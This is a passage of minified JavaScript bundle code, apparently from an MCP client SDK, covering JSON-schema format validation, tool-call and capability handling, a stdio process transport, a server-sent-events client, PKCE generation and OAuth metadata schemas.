IH7=/^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/gm;function nWY(A){return IH7.lastIndex=0,IH7.test(A)}var rWY=-2147483648,oWY=2147483647;function aWY(A){return Number.isInteger(A)&&A<=oWY&&A>=rWY}function sWY(A){return Number.isInteger(A)}function SH7(){return!0}var tWY=/[^\\]\\Z/;function eWY(A){if(tWY.test(A))return!1;try{return new RegExp(A),!0}catch(K){return!1}}});var QH7=v((FH7)=>{Object.defineProperty(FH7,"__esModule",{value:!0});FH7.formatLimitDefinition=void 0;var KDY=h01(),EI=B3(),Wa=EI.operators,b01={formatMaximum:{okStr:"<=",ok:Wa.LTE,fail:Wa.GT},formatMinimum:{okStr:">=",ok:Wa.GTE,fail:Wa.LT},formatExclusiveMaximum:{okStr:"<",ok:Wa.LT,fail:Wa.GTE},formatExclusiveMinimum:{okStr:">",ok:Wa.GT,fail:Wa.LTE}},qDY={message:({keyword:A,schemaCode:K})=>EI.str`should be ${b01[A].okStr} ${K}`,params:({keyword:A,schemaCode:K})=>EI._`{comparison: ${b01[A].okStr}, limit: ${K}}`};FH7.formatLimitDefinition={keyword:Object.keys(b01),type:"string",schemaType:"string",$data:!0,error:qDY,code(A){let{gen:K,data:q,schemaCode:Y,keyword:z,it:w}=A,{opts:H,self:J}=w;if(!H.validateFormats)return;let O=new KDY.KeywordCxt(w,J.RULES.all.format.definition,"format");if(O.$data)X();else $();function X(){let G=K.scopeValue("formats",{ref:J.formats,code:H.code.formats}),Z=K.const("fmt",EI._`${G}[${O.schemaCode}]`);A.fail$data((0,EI.or)(EI._`typeof ${Z} != "object"`,EI._`${Z} instanceof RegExp`,EI._`typeof ${Z}.compare != "function"`,_(Z)))}function $(){let G=O.schema,Z=J.formats[G];if(!Z||Z===!0)return;if(typeof Z!="object"||Z instanceof RegExp||typeof Z.compare!="function")throw Error(`"${z}": format "${G}" does not define "compare" function`);let W=K.scopeValue("formats",{key:G,ref:Z,code:H.code.formats?EI._`${H.code.formats}${(0,EI.getProperty)(G)}`:void 0});A.fail$data(_(W))}function _(G){return EI._`${G}.compare(${q}, ${Y}) ${b01[z].fail} 0`}},dependencies:["format"]};var YDY=(A)=>{return A.addKeyword(FH7.formatLimitDefinition),A};FH7.default=YDY});var cH7=v((buA,dH7)=>{Object.defineProperty(buA,"__esModule",{value:!0});var AZA=gH7(),wDY=QH7(),JW6=B3(),UH7=new JW6.Name("fullFormats"),HDY=new JW6.Name("fastFormats"),OW6=(A,K={keywords:!0})=>{if(Array.isArray(K))return pH7(A,K,AZA.fullFormats,UH7),A;let[q,Y]=K.mode==="fast"?[AZA.fastFormats,HDY]:[AZA.fullFormats,UH7],z=K.formats||AZA.formatNames;if(pH7(A,z,q,Y),K.keywords)(0,wDY.default)(A);return A};OW6.get=(A,K="full")=>{let Y=(K==="fast"?AZA.fastFormats:AZA.fullFormats)[A];if(!Y)throw Error(`Unknown format "${A}"`);return Y};function pH7(A,K,q,Y){var z,w;(z=(w=A.opts.code).formats)!==null&&z!==void 0||(w.formats=JW6._`require("ajv-formats/dist/formats").${Y}`);for(let H of K)A.addFormat(H,q[H])}dH7.exports=buA=OW6;Object.defineProperty(buA,"__esModule",{value:!0});buA.default=OW6});function JDY(){let A=new lH7.Ajv({strict:!1,validateFormats:!0,validateSchema:!1,allErrors:!0});return iH7.default(A),A}class xuA{constructor(A){this._ajv=A!==null&&A!==void 0?A:JDY()}getValidator(A){var K;let q="$id"in A&&typeof A.$id==="string"?(K=this._ajv.getSchema(A.$id))!==null&&K!==void 0?K:this._ajv.compile(A):this._ajv.compile(A);return(Y)=>{if(q(Y))return{valid:!0,data:Y,errorMessage:void 0};else return{valid:!1,data:void 0,errorMessage:this._ajv.errorsText(q.errors)}}}}var lH7,iH7;var XW6=k(()=>{lH7=o(h01(),1),iH7=o(cH7(),1)});class $W6{constructor(A){this._client=A}async*callToolStream(A,K=mM,q){var Y;let z=this._client,w={...q,task:(Y=q===null||q===void 0?void 0:q.task)!==null&&Y!==void 0?Y:z.isToolTask(A.name)?{}:void 0},H=z.requestStream({method:"tools/call",params:A},K,w),J=z.getToolOutputValidator(A.name);for await(let O of H){if(O.type==="result"&&J){let X=O.result;if(!X.structuredContent&&!X.isError){yield{type:"error",error:new MK(Hq.InvalidRequest,`Tool ${A.name} has an output schema but did not return structured content`)};return}if(X.structuredContent)try{let $=J(X.structuredContent);if(!$.valid){yield{type:"error",error:new MK(Hq.InvalidParams,`Structured content does not match the tool's output schema: ${$.errorMessage}`)};return}}catch($){if($ instanceof MK){yield{type:"error",error:$};return}yield{type:"error",error:new MK(Hq.InvalidParams,`Failed to validate structured content: ${$ instanceof Error?$.message:String($)}`)};return}}yield O}}async getTask(A,K){return this._client.getTask({taskId:A},K)}async getTaskResult(A,K,q){return this._client.getTaskResult({taskId:A},K,q)}async listTasks(A,K){return this._client.listTasks(A?{cursor:A}:void 0,K)}async cancelTask(A,K){return this._client.cancelTask({taskId:A},K)}requestStream(A,K,q){return this._client.requestStream(A,K,q)}}var nH7=k(()=>{G_()});function x01(A,K,q){var Y;if(!A)throw Error(`${q} does not support task creation (required for ${K})`);switch(K){case"tools/call":if(!((Y=A.tools)===null||Y===void 0?void 0:Y.call))throw Error(`${q} does not support task creation for tools/call (required for ${K})`);break;default:break}}function u01(A,K,q){var Y,z;if(!A)throw Error(`${q} does not support task creation (required for ${K})`);switch(K){case"sampling/createMessage":if(!((Y=A.sampling)===null||Y===void 0?void 0:Y.createMessage))throw Error(`${q} does not support task creation for sampling/createMessage (required for ${K})`);break;case"elicitation/create":if(!((z=A.elicitation)===null||z===void 0?void 0:z.create))throw Error(`${q} does not support task creation for elicitation/create (required for ${K})`);break;default:break}}function B01(A,K){if(!A||K===null||typeof K!=="object")return;if(A.type==="object"&&A.properties&&typeof A.properties==="object"){let q=K,Y=A.properties;for(let z of Object.keys(Y)){let w=Y[z];if(q[z]===void 0&&Object.prototype.hasOwnProperty.call(w,"default"))q[z]=w.default;if(q[z]!==void 0)B01(w,q[z])}}if(Array.isArray(A.anyOf))for(let q of A.anyOf)B01(q,K);if(Array.isArray(A.oneOf))for(let q of A.oneOf)B01(q,K)}function ODY(A){if(!A)return{supportsFormMode:!1,supportsUrlMode:!1};let K=A.form!==void 0,q=A.url!==void 0;return{supportsFormMode:K||!K&&!q,supportsUrlMode:q}}var m01;var rH7=k(()=>{JZ6();G_();XW6();sxA();nH7();m01=class m01 extends $uA{constructor(A,K){var q,Y;super(K);this._clientInfo=A,this._cachedToolOutputValidators=new Map,this._cachedKnownTaskTools=new Set,this._cachedRequiredTaskTools=new Set,this._capabilities=(q=K===null||K===void 0?void 0:K.capabilities)!==null&&q!==void 0?q:{},this._jsonSchemaValidator=(Y=K===null||K===void 0?void 0:K.jsonSchemaValidator)!==null&&Y!==void 0?Y:new xuA}get experimental(){if(!this._experimental)this._experimental={tasks:new $W6(this)};return this._experimental}registerCapabilities(A){if(this.transport)throw Error("Cannot register capabilities after connecting to transport");this._capabilities=oO1(this._capabilities,A)}setRequestHandler(A,K){var q,Y,z;let w=QGA(A),H=w===null||w===void 0?void 0:w.method;if(!H)throw Error("Schema is missing a method literal");let J;if(wa(H)){let X=H,$=(q=X._zod)===null||q===void 0?void 0:q.def;J=(Y=$===null||$===void 0?void 0:$.value)!==null&&Y!==void 0?Y:X.value}else{let X=H,$=X._def;J=(z=$===null||$===void 0?void 0:$.value)!==null&&z!==void 0?z:X.value}if(typeof J!=="string")throw Error("Schema method literal must be a string");let O=J;if(O==="elicitation/create"){let X=async($,_)=>{var G,Z,W;let D=BM(dO1,$);if(!D.success){let x=D.error instanceof Error?D.error.message:String(D.error);throw new MK(Hq.InvalidParams,`Invalid elicitation request: ${x}`)}let{params:j}=D.data,M=(G=j.mode)!==null&&G!==void 0?G:"form",{supportsFormMode:P,supportsUrlMode:f}=ODY(this._capabilities.elicitation);if(M==="form"&&!P)throw new MK(Hq.InvalidParams,"Client does not support form-mode elicitation requests");if(M==="url"&&!f)throw new MK(Hq.InvalidParams,"Client does not support URL-mode elicitation requests");let N=await Promise.resolve(K($,_));if(j.task){let x=BM(Yp,N);if(!x.success){let y=x.error instanceof Error?x.error.message:String(x.error);throw new MK(Hq.InvalidParams,`Invalid task creation result: ${y}`)}return x.data}let T=BM(dGA,N);if(!T.success){let x=T.error instanceof Error?T.error.message:String(T.error);throw new MK(Hq.InvalidParams,`Invalid elicitation result: ${x}`)}let C=T.data,R=M==="form"?j.requestedSchema:void 0;if(M==="form"&&C.action==="accept"&&C.content&&R){if((W=(Z=this._capabilities.elicitation)===null||Z===void 0?void 0:Z.form)===null||W===void 0?void 0:W.applyDefaults)try{B01(R,C.content)}catch(x){}}return C};return super.setRequestHandler(A,X)}if(O==="sampling/createMessage"){let X=async($,_)=>{let G=BM(SG6,$);if(!G.success){let j=G.error instanceof Error?G.error.message:String(G.error);throw new MK(Hq.InvalidParams,`Invalid sampling request: ${j}`)}let{params:Z}=G.data,W=await Promise.resolve(K($,_));if(Z.task){let j=BM(Yp,W);if(!j.success){let M=j.error instanceof Error?j.error.message:String(j.error);throw new MK(Hq.InvalidParams,`Invalid task creation result: ${M}`)}return j.data}let D=BM(OuA,W);if(!D.success){let j=D.error instanceof Error?D.error.message:String(D.error);throw new MK(Hq.InvalidParams,`Invalid sampling result: ${j}`)}return D.data};return super.setRequestHandler(A,X)}return super.setRequestHandler(A,K)}assertCapability(A,K){var q;if(!((q=this._serverCapabilities)===null||q===void 0?void 0:q[A]))throw Error(`Server does not support ${A} (required for ${K})`)}async connect(A,K){if(await super.connect(A),A.sessionId!==void 0)return;try{let q=await this.request({method:"initialize",params:{protocolVersion:Ha,capabilities:this._capabilities,clientInfo:this._clientInfo}},PG6,K);if(q===void 0)throw Error(`Server sent invalid initialize result: ${q}`);if(!SO1.includes(q.protocolVersion))throw Error(`Server's protocol version is not supported: ${q.protocolVersion}`);if(this._serverCapabilities=q.capabilities,this._serverVersion=q.serverInfo,A.setProtocolVersion)A.setProtocolVersion(q.protocolVersion);this._instructions=q.instructions,await this.notification({method:"notifications/initialized"})}catch(q){throw this.close(),q}}getServerCapabilities(){return this._serverCapabilities}getServerVersion(){return this._serverVersion}getInstructions(){return this._instructions}assertCapabilityForMethod(A){var K,q,Y,z,w;switch(A){case"logging/setLevel":if(!((K=this._serverCapabilities)===null||K===void 0?void 0:K.logging))throw Error(`Server does not support logging (required for ${A})`);break;case"prompts/get":case"prompts/list":if(!((q=this._serverCapabilities)===null||q===void 0?void 0:q.prompts))throw Error(`Server does not support prompts (required for ${A})`);break;case"resources/list":case"resources/templates/list":case"resources/read":case"resources/subscribe":case"resources/unsubscribe":if(!((Y=this._serverCapabilities)===null||Y===void 0?void 0:Y.resources))throw Error(`Server does not support resources (required for ${A})`);if(A==="resources/subscribe"&&!this._serverCapabilities.resources.subscribe)throw Error(`Server does not support resource subscriptions (required for ${A})`);break;case"tools/call":case"tools/list":if(!((z=this._serverCapabilities)===null||z===void 0?void 0:z.tools))throw Error(`Server does not support tools (required for ${A})`);break;case"completion/complete":if(!((w=this._serverCapabilities)===null||w===void 0?void 0:w.completions))throw Error(`Server does not support completions (required for ${A})`);break;case"initialize":break;case"ping":break}}assertNotificationCapability(A){var K;switch(A){case"notifications/roots/list_changed":if(!((K=this._capabilities.roots)===null||K===void 0?void 0:K.listChanged))throw Error(`Client does not support roots list changed notifications (required for ${A})`);break;case"notifications/initialized":break;case"notifications/cancelled":break;case"notifications/progress":break}}assertRequestHandlerCapability(A){if(!this._capabilities)return;switch(A){case"sampling/createMessage":if(!this._capabilities.sampling)throw Error(`Client does not support sampling capability (required for ${A})`);break;case"elicitation/create":if(!this._capabilities.elicitation)throw Error(`Client does not support elicitation capability (required for ${A})`);break;case"roots/list":if(!this._capabilities.roots)throw Error(`Client does not support roots capability (required for ${A})`);break;case"tasks/get":case"tasks/list":case"tasks/result":case"tasks/cancel":if(!this._capabilities.tasks)throw Error(`Client does not support tasks capability (required for ${A})`);break;case"ping":break}}assertTaskCapability(A){var K,q;x01((q=(K=this._serverCapabilities)===null||K===void 0?void 0:K.tasks)===null||q===void 0?void 0:q.requests,A,"Server")}assertTaskHandlerCapability(A){var K;if(!this._capabilities)return;u01((K=this._capabilities.tasks)===null||K===void 0?void 0:K.requests,A,"Client")}async ping(A){return this.request({method:"ping"},qp,A)}async complete(A,K){return this.request({method:"completion/complete",params:A},bG6,K)}async setLoggingLevel(A,K){return this.request({method:"logging/setLevel",params:{level:A}},qp,K)}async getPrompt(A,K){return this.request({method:"prompts/get",params:A},LG6,K)}async listPrompts(A,K){return this.request({method:"prompts/list",params:A},zuA,K)}async listResources(A,K){return this.request({method:"resources/list",params:A},zqA,K)}async listResourceTemplates(A,K){return this.request({method:"resources/templates/list",params:A},fG6,K)}async readResource(A,K){return this.request({method:"resources/read",params:A},wqA,K)}async subscribeResource(A,K){return this.request({method:"resources/subscribe",params:A},qp,K)}async unsubscribeResource(A,K){return this.request({method:"resources/unsubscribe",params:A},qp,K)}async callTool(A,K=mM,q){if(this.isToolTaskRequired(A.name))throw new MK(Hq.InvalidRequest,`Tool "${A.name}" requires task-based execution. Use client.experimental.tasks.callToolStream() instead.`);let Y=await this.request({method:"tools/call",params:A},K,q),z=this.getToolOutputValidator(A.name);if(z){if(!Y.structuredContent&&!Y.isError)throw new MK(Hq.InvalidRequest,`Tool ${A.name} has an output schema but did not return structured content`);if(Y.structuredContent)try{let w=z(Y.structuredContent);if(!w.valid)throw new MK(Hq.InvalidParams,`Structured content does not match the tool's output schema: ${w.errorMessage}`)}catch(w){if(w instanceof MK)throw w;throw new MK(Hq.InvalidParams,`Failed to validate structured content: ${w instanceof Error?w.message:String(w)}`)}}return Y}isToolTask(A){var K,q,Y,z;if(!((z=(Y=(q=(K=this._serverCapabilities)===null||K===void 0?void 0:K.tasks)===null||q===void 0?void 0:q.requests)===null||Y===void 0?void 0:Y.tools)===null||z===void 0?void 0:z.call))return!1;return this._cachedKnownTaskTools.has(A)}isToolTaskRequired(A){return this._cachedRequiredTaskTools.has(A)}cacheToolMetadata(A){var K;this._cachedToolOutputValidators.clear(),this._cachedKnownTaskTools.clear(),this._cachedRequiredTaskTools.clear();for(let q of A){if(q.outputSchema){let z=this._jsonSchemaValidator.getValidator(q.outputSchema);this._cachedToolOutputValidators.set(q.name,z)}let Y=(K=q.execution)===null||K===void 0?void 0:K.taskSupport;if(Y==="required"||Y==="optional")this._cachedKnownTaskTools.add(q.name);if(Y==="required")this._cachedRequiredTaskTools.add(q.name)}}getToolOutputValidator(A){return this._cachedToolOutputValidators.get(A)}async listTools(A,K){let q=await this.request({method:"tools/list",params:A},HuA,K);return this.cacheToolMetadata(q.tools),q}async sendRootsListChanged(){return this.notification({method:"notifications/roots/list_changed"})}}});class uuA{append(A){this._buffer=this._buffer?Buffer.concat([this._buffer,A]):A}readMessage(){if(!this._buffer)return null;let A=this._buffer.indexOf(` `);if(A===-1)return null;let K=this._buffer.toString("utf8",0,A).replace(/\r$/,"");return this._buffer=this._buffer.subarray(A+1),XDY(K)}clear(){this._buffer=void 0}}function XDY(A){return Fu.parse(JSON.parse(A))}function g01(A){return JSON.stringify(A)+` `}var _W6=k(()=>{G_()});import F01 from"node:process";import{PassThrough as $DY}from"node:stream";function GDY(){let A={};for(let K of _DY){let q=F01.env[K];if(q===void 0)continue;if(q.startsWith("()"))continue;A[K]=q}return A}class GW6{constructor(A){if(this._readBuffer=new uuA,this._stderrStream=null,this._serverParams=A,A.stderr==="pipe"||A.stderr==="overlapped")this._stderrStream=new $DY}async start(){if(this._process)throw Error("StdioClientTransport already started! If using Client class, note that connect() calls start() automatically.");return new Promise((A,K)=>{var q,Y,z,w,H;if(this._process=oH7.default(this._serverParams.command,(q=this._serverParams.args)!==null&&q!==void 0?q:[],{env:{...GDY(),...this._serverParams.env},stdio:["pipe","pipe",(Y=this._serverParams.stderr)!==null&&Y!==void 0?Y:"inherit"],shell:!1,windowsHide:F01.platform==="win32"&&ZDY(),cwd:this._serverParams.cwd}),this._process.on("error",(J)=>{var O;K(J),(O=this.onerror)===null||O===void 0||O.call(this,J)}),this._process.on("spawn",()=>{A()}),this._process.on("close",(J)=>{var O;this._process=void 0,(O=this.onclose)===null||O===void 0||O.call(this)}),(z=this._process.stdin)===null||z===void 0||z.on("error",(J)=>{var O;(O=this.onerror)===null||O===void 0||O.call(this,J)}),(w=this._process.stdout)===null||w===void 0||w.on("data",(J)=>{this._readBuffer.append(J),this.processReadBuffer()}),(H=this._process.stdout)===null||H===void 0||H.on("error",(J)=>{var O;(O=this.onerror)===null||O===void 0||O.call(this,J)}),this._stderrStream&&this._process.stderr)this._process.stderr.pipe(this._stderrStream)})}get stderr(){var A,K;if(this._stderrStream)return this._stderrStream;return(K=(A=this._process)===null||A===void 0?void 0:A.stderr)!==null&&K!==void 0?K:null}get pid(){var A,K;return(K=(A=this._process)===null||A===void 0?void 0:A.pid)!==null&&K!==void 0?K:null}processReadBuffer(){var A,K;while(!0)try{let q=this._readBuffer.readMessage();if(q===null)break;(A=this.onmessage)===null||A===void 0||A.call(this,q)}catch(q){(K=this.onerror)===null||K===void 0||K.call(this,q)}}async close(){var A;if(this._process){let K=this._process;this._process=void 0;let q=new Promise((Y)=>{K.once("close",()=>{Y()})});try{(A=K.stdin)===null||A===void 0||A.end()}catch(Y){}if(await Promise.race([q,new Promise((Y)=>setTimeout(Y,2000).unref())]),K.exitCode===null){try{K.kill("SIGTERM")}catch(Y){}await Promise.race([q,new Promise((Y)=>setTimeout(Y,2000).unref())])}if(K.exitCode===null)try{K.kill("SIGKILL")}catch(Y){}}this._readBuffer.clear()}send(A){return new Promise((K)=>{var q;if(!((q=this._process)===null||q===void 0?void 0:q.stdin))throw Error("Not connected");let Y=g01(A);if(this._process.stdin.write(Y))K();else this._process.stdin.once("drain",K)})}}function ZDY(){return"type"in F01}var oH7,_DY;var aH7=k(()=>{_W6();oH7=o(lR1(),1),_DY=F01.platform==="win32"?["APPDATA","HOMEDRIVE","HOMEPATH","LOCALAPPDATA","PATH","PROCESSOR_ARCHITECTURE","SYSTEMDRIVE","SYSTEMROOT","TEMP","USERNAME","USERPROFILE","PROGRAMFILES"]:["HOME","LOGNAME","PATH","SHELL","TERM","USER"]});function ZW6(A){}function Q01(A){if(typeof A=="function")throw TypeError("`callbacks` must be an object, got a function instead. Did you mean `{onEvent: fn}`?");let{onEvent:K=ZW6,onError:q=ZW6,onRetry:Y=ZW6,onComment:z}=A,w="",H=!0,J,O="",X="";function $(D){let j=H?D.replace(/^\xEF\xBB\xBF/,""):D,[M,P]=WDY(`${w}${j}`);for(let f of M)_(f);w=P,H=!1}function _(D){if(D===""){Z();return}if(D.startsWith(":")){z&&z(D.slice(D.startsWith(": ")?2:1));return}let j=D.indexOf(":");if(j!==-1){let M=D.slice(0,j),P=D[j+1]===" "?2:1,f=D.slice(j+P);G(M,f,D);return}G(D,"",D)}function G(D,j,M){switch(D){case"event":X=j;break;case"data":O=`${O}${j} `;break;case"id":J=j.includes("\x00")?void 0:j;break;case"retry":/^\d+$/.test(j)?Y(parseInt(j,10)):q(new WW6(`Invalid \`retry\` value: "${j}"`,{type:"invalid-retry",value:j,line:M}));break;default:q(new WW6(`Unknown field "${D.length>20?`${D.slice(0,20)}…`:D}"`,{type:"unknown-field",field:D,value:j,line:M}));break}}function Z(){O.length>0&&K({id:J,event:X||void 0,data:O.endsWith(` `)?O.slice(0,-1):O}),J=void 0,O="",X=""}function W(D={}){w&&D.consume&&_(w),H=!0,J=void 0,O="",X="",w=""}return{feed:$,reset:W}}function WDY(A){let K=[],q="",Y=0;for(;Y<A.length;){let z=A.indexOf("\r",Y),w=A.indexOf(` `,Y),H=-1;if(z!==-1&&w!==-1?H=Math.min(z,w):z!==-1?H=z:w!==-1&&(H=w),H===-1){q=A.slice(Y);break}else{let J=A.slice(Y,H);K.push(J),Y=H+1,A[Y-1]==="\r"&&A[Y]===` `&&Y++}}return[K,q]}var WW6;var DW6=k(()=>{WW6=class WW6 extends Error{constructor(A,K){super(A),this.name="ParseError",this.type=K.type,this.field=K.field,this.value=K.value,this.line=K.line}}});function DDY(A){let K=globalThis.DOMException;return typeof K=="function"?new K(A,"SyntaxError"):SyntaxError(A)}function MW6(A){return A instanceof Error?"errors"in A&&Array.isArray(A.errors)?A.errors.map(MW6).join(", "):("cause"in A)&&A.cause instanceof Error?`${A}: ${MW6(A.cause)}`:A.message:`${A}`}function sH7(A){return{type:A.type,message:A.message,code:A.code,defaultPrevented:A.defaultPrevented,cancelable:A.cancelable,timeStamp:A.timeStamp}}function jDY(){let A="document"in globalThis?globalThis.document:void 0;return A&&typeof A=="object"&&"baseURI"in A&&typeof A.baseURI=="string"?A.baseURI:void 0}var jW6,eH7=(A)=>{throw TypeError(A)},kW6=(A,K,q)=>K.has(A)||eH7("Cannot "+q),B9=(A,K,q)=>(kW6(A,K,"read from private field"),q?q.call(A):K.get(A)),Z_=(A,K,q)=>K.has(A)?eH7("Cannot add the same private member more than once"):K instanceof WeakSet?K.add(A):K.set(A,q),RJ=(A,K,q,Y)=>(kW6(A,K,"write to private field"),K.set(A,q),q),$p=(A,K,q)=>(kW6(A,K,"access private method"),q),Gf,ZqA,KZA,U01,p01,guA,zZA,FuA,Da,qZA,wZA,YZA,BuA,kI,PW6,VW6,fW6,tH7,NW6,TW6,muA,vW6,EW6,HZA;var AJ7=k(()=>{DW6();jW6=class jW6 extends Event{constructor(A,K){var q,Y;super(A),this.code=(q=K==null?void 0:K.code)!=null?q:void 0,this.message=(Y=K==null?void 0:K.message)!=null?Y:void 0}[Symbol.for("nodejs.util.inspect.custom")](A,K,q){return q(sH7(this),K)}[Symbol.for("Deno.customInspect")](A,K){return A(sH7(this),K)}};HZA=class HZA extends EventTarget{constructor(A,K){var q,Y;super(),Z_(this,kI),this.CONNECTING=0,this.OPEN=1,this.CLOSED=2,Z_(this,Gf),Z_(this,ZqA),Z_(this,KZA),Z_(this,U01),Z_(this,p01),Z_(this,guA),Z_(this,zZA),Z_(this,FuA,null),Z_(this,Da),Z_(this,qZA),Z_(this,wZA,null),Z_(this,YZA,null),Z_(this,BuA,null),Z_(this,VW6,async(z)=>{var w;B9(this,qZA).reset();let{body:H,redirected:J,status:O,headers:X}=z;if(O===204){$p(this,kI,muA).call(this,"Server sent HTTP 204, not reconnecting",204),this.close();return}if(J?RJ(this,KZA,new URL(z.url)):RJ(this,KZA,void 0),O!==200){$p(this,kI,muA).call(this,`Non-200 status code (${O})`,O);return}if(!(X.get("content-type")||"").startsWith("text/event-stream")){$p(this,kI,muA).call(this,'Invalid content type, expected "text/event-stream"',O);return}if(B9(this,Gf)===this.CLOSED)return;RJ(this,Gf,this.OPEN);let $=new Event("open");if((w=B9(this,BuA))==null||w.call(this,$),this.dispatchEvent($),typeof H!="object"||!H||!("getReader"in H)){$p(this,kI,muA).call(this,"Invalid response body, expected a web ReadableStream",O),this.close();return}let _=new TextDecoder,G=H.getReader(),Z=!0;do{let{done:W,value:D}=await G.read();D&&B9(this,qZA).feed(_.decode(D,{stream:!W})),W&&(Z=!1,B9(this,qZA).reset(),$p(this,kI,vW6).call(this))}while(Z)}),Z_(this,fW6,(z)=>{RJ(this,Da,void 0),!(z.name==="AbortError"||z.type==="aborted")&&$p(this,kI,vW6).call(this,MW6(z))}),Z_(this,NW6,(z)=>{typeof z.id=="string"&&RJ(this,FuA,z.id);let w=new MessageEvent(z.event||"message",{data:z.data,origin:B9(this,KZA)?B9(this,KZA).origin:B9(this,ZqA).origin,lastEventId:z.id||""});B9(this,YZA)&&(!z.event||z.event==="message")&&B9(this,YZA).call(this,w),this.dispatchEvent(w)}),Z_(this,TW6,(z)=>{RJ(this,guA,z)}),Z_(this,EW6,()=>{RJ(this,zZA,void 0),B9(this,Gf)===this.CONNECTING&&$p(this,kI,PW6).call(this)});try{if(A instanceof URL)RJ(this,ZqA,A);else if(typeof A=="string")RJ(this,ZqA,new URL(A,jDY()));else throw Error("Invalid URL")}catch{throw DDY("An invalid or illegal string was specified")}RJ(this,qZA,Q01({onEvent:B9(this,NW6),onRetry:B9(this,TW6)})),RJ(this,Gf,this.CONNECTING),RJ(this,guA,3000),RJ(this,p01,(q=K==null?void 0:K.fetch)!=null?q:globalThis.fetch),RJ(this,U01,(Y=K==null?void 0:K.withCredentials)!=null?Y:!1),$p(this,kI,PW6).call(this)}get readyState(){return B9(this,Gf)}get url(){return B9(this,ZqA).href}get withCredentials(){return B9(this,U01)}get onerror(){return B9(this,wZA)}set onerror(A){RJ(this,wZA,A)}get onmessage(){return B9(this,YZA)}set onmessage(A){RJ(this,YZA,A)}get onopen(){return B9(this,BuA)}set onopen(A){RJ(this,BuA,A)}addEventListener(A,K,q){let Y=K;super.addEventListener(A,Y,q)}removeEventListener(A,K,q){let Y=K;super.removeEventListener(A,Y,q)}close(){B9(this,zZA)&&clearTimeout(B9(this,zZA)),B9(this,Gf)!==this.CLOSED&&(B9(this,Da)&&B9(this,Da).abort(),RJ(this,Gf,this.CLOSED),RJ(this,Da,void 0))}};Gf=new WeakMap,ZqA=new WeakMap,KZA=new WeakMap,U01=new WeakMap,p01=new WeakMap,guA=new WeakMap,zZA=new WeakMap,FuA=new WeakMap,Da=new WeakMap,qZA=new WeakMap,wZA=new WeakMap,YZA=new WeakMap,BuA=new WeakMap,kI=new WeakSet,PW6=function(){RJ(this,Gf,this.CONNECTING),RJ(this,Da,new AbortController),B9(this,p01)(B9(this,ZqA),$p(this,kI,tH7).call(this)).then(B9(this,VW6)).catch(B9(this,fW6))},VW6=new WeakMap,fW6=new WeakMap,tH7=function(){var A;let K={mode:"cors",redirect:"follow",headers:{Accept:"text/event-stream",...B9(this,FuA)?{"Last-Event-ID":B9(this,FuA)}:void 0},cache:"no-store",signal:(A=B9(this,Da))==null?void 0:A.signal};return"window"in globalThis&&(K.credentials=this.withCredentials?"include":"same-origin"),K},NW6=new WeakMap,TW6=new WeakMap,muA=function(A,K){var q;B9(this,Gf)!==this.CLOSED&&RJ(this,Gf,this.CLOSED);let Y=new jW6("error",{code:K,message:A});(q=B9(this,wZA))==null||q.call(this,Y),this.dispatchEvent(Y)},vW6=function(A,K){var q;if(B9(this,Gf)===this.CLOSED)return;RJ(this,Gf,this.CONNECTING);let Y=new jW6("error",{code:K,message:A});(q=B9(this,wZA))==null||q.call(this,Y),this.dispatchEvent(Y),RJ(this,zZA,setTimeout(B9(this,EW6),B9(this,guA)))},EW6=new WeakMap,HZA.CONNECTING=0,HZA.OPEN=1,HZA.CLOSED=2});function JZA(A){if(!A)return{};if(A instanceof Headers)return Object.fromEntries(A.entries());if(Array.isArray(A))return Object.fromEntries(A);return{...A}}function WqA(A=fetch,K){if(!K)return A;return async(q,Y)=>{let z={...K,...Y,headers:(Y===null||Y===void 0?void 0:Y.headers)?{...JZA(K.headers),...JZA(Y.headers)}:K.headers};return A(q,z)}}async function MDY(A){return(await CW6).getRandomValues(new Uint8Array(A))}async function PDY(A){let q="",Y=await MDY(A);for(let z=0;z<A;z++){let w=Y[z]%66;q+="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~"[w]}return q}async function VDY(A){return await PDY(A)}async function fDY(A){let K=await(await CW6).subtle.digest("SHA-256",new TextEncoder().encode(A));return btoa(String.fromCharCode(...new Uint8Array(K))).replace(/\//g,"_").replace(/\+/g,"-").replace(/=/g,"")}async function LW6(A){if(!A)A=43;if(A<43||A>128)throw`Expected a length between 43 and 128. Received ${A}.`;let K=await VDY(A),q=await fDY(K);return{code_verifier:K,code_challenge:q}}var CW6;var KJ7=k(()=>{CW6=globalThis.crypto?.webcrypto??globalThis.crypto??import("node:crypto").then((A)=>A.webcrypto)});var qW,YJ7,RW6,NDY,zJ7,wJ7,d01,qJ7,TDY,vDY,HJ7,y1H,I1H;var c01=k(()=>{z7();qW=Ap1().superRefine((A,K)=>{if(!URL.canParse(A))return K.addIssue({code:Cp1.custom,message:"URL must be parseable",fatal:!0}),AEA}).refine((A)=>{let K=new URL(A);return K.protocol!=="javascript:"&&K.protocol!=="data:"&&K.protocol!=="vbscript:"},{message:"URL cannot use javascript:, data:, or vbscript: scheme"}),YJ7=NZ({resource:U1().url(),authorization_servers:b4(qW).optional(),jwks_uri:U1().url().optional(),scopes_supported:b4(U1()).optional(),bearer_methods_supported:b4(U1()).optional(),resource_signing_alg_values_supported:b4(U1()).optional(),resource_name:U1().optional(),resource_documentation:U1().optional(),resource_policy_uri:U1().url().optional(),resource_tos_uri:U1().url().optional(),tls_client_certificate_bound_access_tokens:mz().optional(),authorization_details_types_supported:b4(U1()).optional(),dpop_signing_alg_values_supported:b4(U1()).optional(),dpop_bound_access_tokens_required:mz().optional()}),RW6=NZ({issuer:U1(),authorization_endpoint:qW,token_endpoint:qW,registration_endpoint:qW.optional(),scopes_supported:b4(U1()).optional(),response_types_supported:b4(U1()),response_modes_supported:b4(U1()).optional(),grant_types_supported:b4(U1()).optional(),token_endpoint_auth_methods_supported:b4(U1()).optional(),token_endpoint_auth_signing_alg_values_supported:b4(U1()).optional(),service_documentation:qW.optional(),revocation_endpoint:qW.optional(),revocation_endpoint_auth_methods_supported:b4(U1()).optional(),revocation_endpoint_auth_signing_alg_values_supported:b4(U1()).optional(),introspection_endpoint:U1().optional(),introspection_endpoint_auth_methods_supported:b4(U1()).optional(),introspection_endpoint_auth_signing_alg_values_supported:b4(U1()).optional(),code_challenge_methods_supported:b4(U1()).optional(),client_id_metadata_document_supported:mz().optional()}),NDY=NZ({issuer:U1(),authorization_endpoint:qW,token_endpoint:qW,userinfo_endpoint:qW.optional(),jwks_uri